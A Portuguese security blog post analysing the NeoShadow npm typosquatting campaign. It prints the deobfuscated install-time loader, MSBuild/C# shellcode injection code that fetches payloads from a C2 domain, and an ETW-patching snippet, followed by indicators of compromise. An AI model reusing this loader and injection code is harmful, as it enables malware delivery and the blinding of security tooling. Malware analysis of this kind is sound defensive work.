Aikido

JavaScript, MSBuild e Blockchain: Anatomia do Ataque à Cadeia de Suprimentos npm NeoShadow

Charlie EriksenCharlie Eriksen
|
#
#

Em 30 de dezembro, uma súbita explosão de novos pacotes npm de um único autor chamou a nossa atenção. O nosso mecanismo de análise sinalizou vários deles como suspeitos logo após o seu aparecimento. Estamos a chamar essa campanha/ator de ameaça de "NeoShadow", com base num identificador comum visto na sua carga útil de fase 2. Os pacotes identificados foram:

  • viem-js
  • cripto
  • tailwin
  • supabase-js

Todos foram libertados pelo utilizador cjh97123. Todos eles são pacotes de typosquatting, o que não é novidade. Mas ficámos intrigados com o malware que encontramos dentro deles. Não só descobrimos que a ofuscação não era facilmente desofuscada por ferramentas comuns, como também percebemos que o malware estava a fazer coisas bastante inovadoras. Então, decidimos melhorar as nossas cadeias de ferramentas de desofuscação mais uma vez e chegar ao fundo da questão deste malware.

Fase 0 - JS malicioso no npm

A primeira parte da nossa investigação começa com este ficheiro de configuração, mas atenção: ele logo nos levará a territórios estranhos e maravilhosos. Este ficheiro JavaScript, localizado em scripts/setup.js em todos os pacotes, funciona como um carregador de várias etapas exclusivo para Windows. O seu comportamento pode ser resumido nas seguintes etapas ordenadas:

1️⃣ Validação da plataforma e do ambiente

  • 🪟 Confirma a execução no Windows
  • 🧪 Aplica uma heurística anti-análise contando as entradas do Registo de Eventos do Sistema Windows.
  • 🚫 Sai antecipadamente em ambientes de baixa atividade ou semelhantes a sandbox

2️⃣ Configuração dinâmica via blockchain

  • ⛓️ Consulta um contrato inteligente Ethereum usando a API eth_call do Etherscan
  • 📤 Extraia uma string armazenada dinamicamente a partir de dados na cadeia
  • 🌐 Trata o valor descodificado como uma URL base C2
  • 🔁 Recorre a um domínio codificado se a pesquisa da cadeia falhar

3️⃣ Aquisição secreta de carga útil

  • 📡 Solicita um ficheiro JavaScript remoto disfarçado como análise
  • 🫥 Localiza um blob codificado em Base64 escondido dentro de um comentário em bloco
  • 📦 Utiliza o comentário apenas como um container de carga útil, não como código executável.

4️⃣ Execução Living-off-the-Land (MSBuild)

  • 🛠️ Escreve um ficheiro temporário Projeto MSBuild (.proj) arquivo
  • 🧬 Incorpora código C# em linha usando CodeTaskFactory
  • 🚫 Executa sem soltar ou compilar um executável independente
  • 🧾 Baseia-se num binário Windows confiável (MSBuild.exe)

5️⃣ Descriptografia da carga útil

  • 🔐 Decodifica a carga útil Base64
  • 🔑 Deriva uma chave RC4 através do mascaramento XOR dos primeiros 16 bytes
  • 🔓 Descriptografa a carga útil restante na memória

6️⃣ Injeção e execução do processo

  • 🧠 Gera o RuntimeBroker.exe num estado suspenso
  • 💉 Aloca memória no processo remoto
    ✍️ Grava o código shell descodificado
  • ⚡ Executa através de Injeção de APC (QueueUserAPC + Retomar tópico)

7️⃣ Implantação de artefactos secundários

  • 📥 Opcionalmente, descarrega um ficheiro de configuração de acompanhamento
  • 📁 Persiste em: %APPDATA%\Microsoft\CLR\config.proj

É bastante. Se estiver curioso, aqui está o código real após a nossa desofuscação:

const {
  execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
  if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
  const _0x40ca65 = require("https");
  return new Promise(_0x18a121 => {
    _0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
      const _0x5a6f92 = {
        xSUuD: function (_0x8e23dc, _0x473cc1) {
          return _0x8e23dc !== _0x473cc1;
        },
        kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
          return _0x291b51(_0x45ee39, _0x314df2);
        },
        TSNUY: function (_0x551c1c, _0xa10773) {
          return _0x551c1c * _0xa10773;
        },
        IxNWN: function (_0x5bf459, _0x3b5803) {
          return _0x5bf459 < _0x3b5803;
        },
        TNyat: function (_0x2a4142, _0x55bc29) {
          return _0x2a4142 + _0x55bc29;
        },
        jmkEP: "http",
        bpmxg: function (_0x596591, _0x2230d0) {
          return _0x596591(_0x2230d0);
        }
      };
      let _0x44c1fc = "";
      _0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
      _0xc12477.on("end", () => {
        try {
          const _0x19ede0 = JSON.parse(_0x44c1fc);
          if (_0x19ede0.result && _0x19ede0.result !== "0x") {
            const _0x501fdb = _0x19ede0.result.slice(2);
            const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
            const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
            let _0x2d977d = "";
            for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
              _0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
            }
            if (_0x2d977d.startsWith("http")) {
              _0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
              return;
            }
          }
        } catch (_0x34b9f3) {}
        _0x18a121(null);
      });
    }).on("error", () => _0x18a121(null));
  });
}
function a0_0x1c5097() {
  if (a0_0x363405.platform() !== "win32") return false;
  try {
    const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
      encoding: "utf8",
      windowsHide: true,
      timeout: 10000
    }).trim();
    return parseInt(_0x5962fa, 10) >= 3000;
  } catch (_0x3c40cc) {
    return false;
  }
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
  const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
  const _0x1d3b60 = a0_0x363405.tmpdir();
  const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
  a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n    byte[] s = new byte[256];\n    for (int i = 0; i < 256; i++) s[i] = (byte)i;\n    int j = 0;\n    for (int i = 0; i < 256; i++) {\n        j = (j + s[i] + key[i % key.Length]) & 0xFF;\n        byte t = s[i]; s[i] = s[j]; s[j] = t;\n    }\n    byte[] o = new byte[data.Length];\n    int x = 0, y = 0;\n    for (int k = 0; k < data.Length; k++) {\n        x = (x + 1) & 0xFF;\n        y = (y + s[x]) & 0xFF;\n        byte t = s[x]; s[x] = s[y]; s[y] = t;\n        o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n    }\n    return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n    byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n    byte[] key = new byte[16];\n    for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n    byte[] enc = new byte[payload.Length - 16];\n    Array.Copy(payload, 16, enc, 0, enc.Length);\n    return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
  try {
    a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
      windowsHide: true,
      timeout: 30000,
      stdio: "ignore"
    });
  } catch (_0x48f097) {}
  try {
    a0_0x651569.unlinkSync(_0x112a23);
  } catch (_0x245ac6) {}
  return true;
}
async function a0_0x46b335() {
  if (a0_0x363405.platform() !== "win32") return;
  if (!a0_0x1c5097()) return;
  try {
    const _0x2186b3 = require("https");
    let _0x6212ce = await a0_0x2da91a();
    if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
    if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
    const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
    const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
      _0x2186b3.get(_0xe78890, _0x891520 => {
        let _0x470b55 = "";
        _0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
        _0x891520.on("end", () => _0x3a7450(_0x470b55));
      }).on("error", _0x340a89);
    });
    const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
    if (!_0x168fcf || !_0x168fcf[1]) return;
    a0_0x218fb4(_0x168fcf[1], _0x6212ce);
  } catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});

Isso permite-nos ver a lógica com mais clareza. É uma abordagem inovadora usar MSBuild e código C#. Tal como na outra versão, tenta descarregar a carga útil de https://metrics-flow[.]com/assets/js/analytics.min.js e descriptografá-lo com uma chave RC4. 

Fase 1 - O que é o MSBuild? 

Uma coisa que irá notar no código é que ele tenta extrair o ficheiro _next/data/config.json do domínio C2. Então, eu o busquei e ele retornou uma versão melhor do script MSBuild:

<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);

static byte[] RC4(byte[] data, byte[] key) {
    byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
    int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
    byte[] o = new byte[data.Length]; int x = 0, y = 0;
    for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
    return o;
}

static string GetC2FromEth(string contract, string apiKey) {
    if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
    try {
        var w = new WebClient();
        var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
        var json = w.DownloadString(url);
        var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
        if (!m.Success) return null;
        var hex = m.Groups[1].Value.Substring(2);
        if (hex.Length < 130) return null;
        var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
        if (strLen <= 0 || strLen > 500) return null;
        var strHex = hex.Substring(128, strLen * 2);
        var chars = new char[strLen];
        for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
        var c2 = new string(chars);
        return c2.StartsWith("http") ? c2 : null;
    } catch { return null; }
}

public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;

var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);

SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>

Isso permite-nos ver a lógica com mais clareza. É uma abordagem inovadora usar MSBuild e código C#. Tal como na outra versão, tenta descarregar a carga útil de https://metrics-flow[.]com/assets/js/analytics.min.js e descriptografá-lo com uma chave RC4. 

Fase 2 - Análise do shellcode

Nesse ponto, ficámos naturalmente curiosos sobre o que justificava o esforço por trás de um mecanismo de entrega tão inovador. Após descodificar a carga útil, descobrimos que ela continha código shell, como esperado. 

Ao vasculhar os bytes brutos da carga descodificada, dois nomes chamaram imediatamente a nossa atenção: NeoShadowV2DeriveKey2026 e Global\NSV2_8e4b1d. A ligação entre eles é difícil de ignorar. NS é uma abreviação natural para NeoShadow, e ambas as cadeias partilham o mesmo V2 marcador. Em conjunto, estes não parecem acidentais ou genéricos; parecem ser rótulos internos dos autores. Com base nesta consistência, referimo-nos ao agente de ameaças por trás desta atividade como NeoShadowVer a mesma nomenclatura aparecer em rotinas criptográficas e controlos de execução confere ao malware uma identidade clara e sugere um conjunto de ferramentas deliberadamente versionado e ativamente mantido, em vez de uma experiência pontual.

Em seguida, executámos o shellcode através do Binary Ninja, que imediatamente produziu uma versão C semi-legível. Só que... são 4000 linhas de C feio. 🥹

Então, passámos isso para o Claude para obter uma versão mais limpa. E, claro, ele gerou uma versão agradável e legível de 1900 linhas do código C. Isso leva-nos à próxima parte da nossa aventura.

Fase 3 - Um rato na construção

A carga útil final é um backdoor completo, projetado para acesso de longo prazo. Uma vez em execução, ele entra em um loop de beacon, verificando o servidor C2, relatando informações do sistema e pesquisando comandos. O implante é leve por design: ele estabelece acesso e fornece uma primitiva de execução, enquanto todas as funcionalidades pós-exploração são enviadas como módulos descartáveis.

Comportamento do Beacon

  • 📡 Envia check-ins encriptados através de HTTPS POST
  • 🪪 Inclui impressão digital do anfitrião: nome do computador, nome de utilizador, ID do agente
  • 🔀 Randomiza caminhos de URL para imitar tráfego legítimo (/ativos/js/, /api/v1/, /wp-content/, etc.)
  • 🏷️ Solicitações de tags com personalização X-Agent-Id cabeçalho para rastreamento de vítimas
  • ⏱️ Suporta intervalo de suspensão configurável com jitter (padrão 20%)

Criptografia

Todo o tráfego C2 é encriptado com ChaCha20, uma cifra de fluxo preferida pela sua velocidade e segurança. As chaves são estabelecidas através de Curve25519 ECDH. 

Conjunto de comandos

Os operadores têm três comandos à sua disposição:

sono
  • ⏰ Ajusta o intervalo do sinalizador em tempo real
  • 🔇 Vamos deixar os operadores em silêncio durante as fases de persistência ou acelerar para um envolvimento ativo
módulo
  • 🌐 Obtém a carga útil de uma URL
  • 📦 Se for uma DLL: localiza CarregadorReflexivo exportar, injeta sem tocar no disco
  • 💉 Se for shellcode: injeta diretamente em RuntimeBroker.exe através de injeção APC
  • 🧰 Mecanismo principal para a implementação de ferramentas pós-exploração 
injetar
  • 🔤 Aceita shellcode codificado em base64 diretamente no comando
  • 🔒 Mantém tudo dentro do canal C2 encriptado
  • ⚡ O mesmo caminho de injeção do módulo, só que sem a busca na rede

Tratamento de respostas

  • ✅ Retorna OK ou DLL OK em caso de sucesso
  • ❌ Erros descritivos: Erro: alocação, Erro: busca, Erro: descodificação, Erro: injeção, Erro: não PE
  • 📤 As DLLs injetadas podem gravar num buffer partilhado que é exfiltrado na resposta.
  • 🔁 Todas as comunicações utilizam a mesma encriptação ChaCha20 que o beacon.

Este pequeno e minimalista Trojan de Acesso Remoto (RAT) é bastante inteligente. A sua única função é estabelecer uma ligação C2 persistente e atuar como um carregador de primeira fase para malware mais potente. Isso fornece aos invasores um ponto de entrada flexível e discreto para implantar ferramentas secundárias (por exemplo, keyloggers ou ransomware) e intensificar o ataque à vontade.

Características interessantes

O malware contém algumas funcionalidades inteligentes para tentar ocultar-se a si próprio e ao seu servidor C2, que descrevemos abaixo. 

🙈Cegando o anfitrião: aplicação de patches ETW

O Event Tracing for Windows é o sistema nervoso da telemetria moderna do Windows. Quando um assembly .NET é carregado, o ETW o detecta. Quando o PowerShell executa um bloco de script, o ETW o registra. Quando um processo é gerado, um segmento é criado, uma DLL é carregada, uma conexão de rede é estabelecida, eventos ETW são emitidos e produtos de segurança os consomem. Plataformas de segurança, incluindo soluções de detecção e resposta de endpoint (EDR) e ferramentas SIEM, dependem fortemente do ETW para detecção. Desativar o ETW prejudica gravemente a visibilidade dessas ferramentas de segurança. Observe que essa não é uma técnica nova; ela é bem conhecida há anos.

O implante faz exatamente isso. Antes de estabelecer comunicações C2 ou realizar qualquer atividade suspeita, ele localiza NtTraceEvent em ntdll.dll, a função de baixo nível pela qual todas as emissões de eventos ETW acabam por passar. Ela resolve o endereço através da sua resolução API padrão baseada em hash (hash 0xDECFC1BF), em seguida, chama Proteção Virtual para tornar a memória da função gravável:

char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);

DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);

Com acesso de escrita em mãos, ele sobrescreve os primeiros quatro bytes da função com um simples stub que retorna sucesso sem fazer nada:

// Before patching
NtTraceEvent:
    4c 8b d1          mov r10, rcx
    b8 XX XX 00 00    mov eax, <syscall#>
    0f 05             syscall
    c3                ret

// After patching  
NtTraceEvent:
    48 33 c0          xor rax, rax    ; rax = 0 (STATUS_SUCCESS)
    c3                ret              ; return immediately

É isso. Quatro bytes, 48 33 C0 C3, e todos os eventos ETW no sistema param de disparar. A função retorna STATUS_SUCESSO para que os chamadores não apresentem erros nem tentem novamente, mas nenhum evento chega ao kernel. Os produtos de segurança que consultam os fornecedores ETW ficam sem resposta.

🙈Camuflagem do servidor C2

Então, verificámos o domínio C2. métricas-fluxo[.]com, e rimos bastante da tentativa dos atacantes de se camuflarem. Eles criaram uma camada inteligente de segurança projetada para despistar ferramentas automatizadas e investigadores humanos. Quando acede à página principal, não obtém a mesma coisa duas vezes. Em vez disso, o servidor apresenta um conjunto completamente aleatório de conteúdo falso, fazendo com que pareça um site totalmente normal e não malicioso. Muito inteligente, e isso facilitará a identificação dos servidores C2 para os investigadores no futuro. 😀

Domínio C2

O domínio C2 foi registado aproximadamente na mesma altura em que o malware foi publicado pela primeira vez no npm, em 30 de dezembro de 2025, conforme pode ser visto nas informações do whois:

Alterações na versão 2

Todas as análises até este ponto baseiam-se na versão implementada em 30 de dezembro de 2025. Outra versão dos pacotes foi implementada em 2 de janeiro de 2026. A alteração mais notável é que um executável do Windows, análise.nó, também está incluído. Observámos que nenhum antivírus no VirusTotal o detectou como malicioso:

https://www.virustotal.com/gui/file/012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07/detection

Além disso, o ficheiro JavaScript foi ofuscado de forma diferente e é mais difícil de desofuscar do que a versão original, com o que parecem ser novas técnicas de ofuscação incluídas na versão. 

Também temos outra referência ao projeto chamado NeoShadow: C:\\Utilizadores\\admin\\Área de Trabalho\\NeoShadow\\core\\loader\\native\\build\\Release\\analytics.pdb

Conclusão 

Neste momento, não tentámos recuperar uma carga útil dinâmica do servidor C2. No entanto, vimos claramente uma tentativa bem planeada de entregar o que acreditamos ser um malware novo, como parte de uma campanha maior, anteriormente não documentada, que criou o seu próprio servidor C2, RAT, mecanismo de entrega e técnicas de camuflagem para ocultar o seu servidor C2. 

🚨 Indicadores de comprometimento

  • Domínio: métricas-fluxo[.]com
  • Endereço IP: 80.78.22[.]206
  • Binário012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07
  • Endereço Ethereum: 0x13660FD7Edc862377e799b0Caf68f99a2939B5cC
  • Nome do mutex: Global\NSV2_8e4b1d
  • Pacotes NPM:
    • viem-js
    • cripto
    • tailwin
    • supabase-js

4.7/5

Proteja seu software agora

Comece Gratuitamente
Não é necessário cc
Agendar uma demonstração
Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.